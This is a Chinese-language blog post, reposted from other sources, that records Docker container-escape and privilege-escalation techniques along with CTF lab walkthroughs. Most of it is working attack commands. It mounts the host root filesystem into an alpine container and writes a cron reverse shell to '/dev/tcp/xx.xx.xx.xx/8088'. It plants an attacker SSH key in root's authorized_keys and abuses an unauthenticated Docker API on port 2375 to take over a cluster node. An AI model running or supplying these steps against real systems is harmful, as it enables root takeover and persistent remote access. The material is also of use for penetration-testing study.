原文链接:https://www.cnblogs.com/peterpan0707007/p/15246853.html
原文链接:https://blog.csdn.net/weixin_46700042/article/details/109532502
侵删
【实战】Docker漏洞的记录]
Docker容器的特点:
1.轻量级
在机器上运行的Docker容器共享该机器的操作系统内核; 他们使用更少的计算和内存。图像由文件系统层构建并共享公用文件。最大限度地减少了磁盘使用量。
2.标准
Docker容器基于开放标准,可在Linux发行版,Microsoft Windows以及任何基础架构(包括虚拟机,裸机)上运行。
3.安全
Docker容器将应用程序彼此隔离并从底层基础架构中分离出来。提供了最强大的默认隔离功能,可以将应用程序问题限制在一个容器中,而不是整个机器上。
关于docker提权(逃逸提权):
默认情况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会允许 root 用户和 docker组用户访问 Docker,给用户提供 Docker 权限;
用户在创建一个docker容器后,容器内默认是root账户,在不需要加sudo的情况下可以任意更改容器内的配置。
正常情况下,这种模式既可以保证一台机器被很多普通用户使用,通过docker容器的隔离,相互之前互不影响;也给用户在容器内开放了充足的权限保证用户可以正常安装软件,修改容器配置等操作。
普通用户如果要想使用 docker,而且不想给 sudo 权限,那么一般会选择把该用户加入 docker 用户组内,同时在 docker 容器内是具有 root 权限的,这样保证了用户对容器的完全控制;
docker 用户组权限:
sudo groupadd docker
#添加docker用户组
sudo gpasswd -a $USER docker
#将当前用户添加至docker用户组
newgrp docker
docker逃逸提权(复现流程):
1.首先使用命令:docker images
用于查看本地已下载的镜像
REPOSITORY # 镜像仓库
TAG # 镜像标签
IMAGE ID # 镜像ID
CREATED # 镜像创建时间
SIZE # 镜像大小
2.如果不存在,
就可以先下载个镜像,然后把root文件夹挂载到上面!!!
使用命令:docker run alpine chroot 来下载镜像文件;
(不存在docker镜像情况下使用)
3.将root文件夹挂载在上面
docker run -it -v /root:/mnt alpine
将文件夹挂载到mnt文件夹
4.可以看到我们已经拥有了root权限
Docker挂载命令逃逸:
-v /root(需要挂载得目录):/abc(新建挂载目录)
参数 -v 将容器外部的目录 / 挂载到容器内部
因为docker环境运行得时候是需要root权限的,所以可以实现提权的目的;
1.1. Docker判断
cat /proc/1/cgroup
ls -alh /.dockerenv
1.2. Docker反弹shell
条件:
获取到宿主机普通用户权限
当前用户已加入docker用户组
a) 写入计划任务获取root权限
进入容器:
docker run -it -v /:/mnt alpine
echo ‘* * * * * /bin/bash -i > /dev/tcp/xx.xx.xx.xx/8088 0>&1 2>&1’ >> /mnt/var/spool/cron/root
注:此语句适用于centos系统
系统任务调度文件:/etc/crontab
用户 XXX 调度文件:
ubuntu下路径
/var/spool/cron/crontabs/xxx
Alpine下路径
/etc/cron.d/xxx
debian下的路径(xxx可以是任意东西)
/etc/cron.d/xxx
或者
/var/spool/cron/crontabs/xxx
但是写这个路径的时候,文件内不能加用户名
攻击机监听:
a) 写入ssh密钥获取root权限
攻击机
ssh-keygen -b 4096 -t rsa
三次回车即可生成
Docker容器里:
挂载宿主机根目录进入容器
docker run -it -v /:/mnt alpine
echo ‘生成的.pub文件的内容’ >/mnt/root/.ssh/authorized_keys
攻击机连接:
ssh -i /home/pentest/.ssh/id_rsa root@xx.xx.xx.xx
1.3. Docker配置不当
Docker api未授权访问
docker -H tcp://10.1.1.71:2375 images
挂载目录写入计划任务获取root权限,如下图:
远程挂载命令:docker -H tcp://10.1.1.71:2375 run -it -v /:/mnt alpine
攻击机监听:
熟悉的node,成功获取k8s集群的一台节点服务器权限。
靶机复现验证:
1. HA: Chakravyuh靶机
靶机渗透测试wp
docker提权:
(-v 可以映射到容器外的host文件的参数)
命令:
docker run -v /root:/mnt -it 965ea09ff2eb /bin/sh
含义:docker运行一个交互式的Linux系统,挂载系统的/root 目录到/mnt目录下,这样就可以获取到root目录下的文件内容了
成功得到root权限,实验成功 !!!
2. CyberSploit: 2靶机
靶机渗透测试wp
我们需要联网拉取镜像
命令: docker pull alpine
alpine是迷你的linux系统
命令: docker images
用于查看本地已下载的镜像
命令: docker run -v /:/mnt -it alpine
执行镜像文件
提权成功!!!
在docker中使用alpine
拉取启动
docker pull alpine
docker run -it --name 【containername】 【imagename】
-i 以交互模式运行容器,通常与 -t 同时使用;
-t 为容器重新分配一个伪输入终端,通常与 -i 同时使用;
-d 后台运行容器,并返回容器ID;
文件传输
从主机复制到容器sudo docker cp host_path containerID:container_path
从容器复制到主机sudo docker cp containerID:container_path host_path
总结:
docker 允许挂载主机的目录,那么挂载 /etc 文件之后就可以任意修改主机配置了;
也就是说,原本应该与主机完全隔离的用户系统,通过挂载,容器直接使用了主机的用户系统;在容器内对用户权限的修改,都等同于在主机上进行修改!!!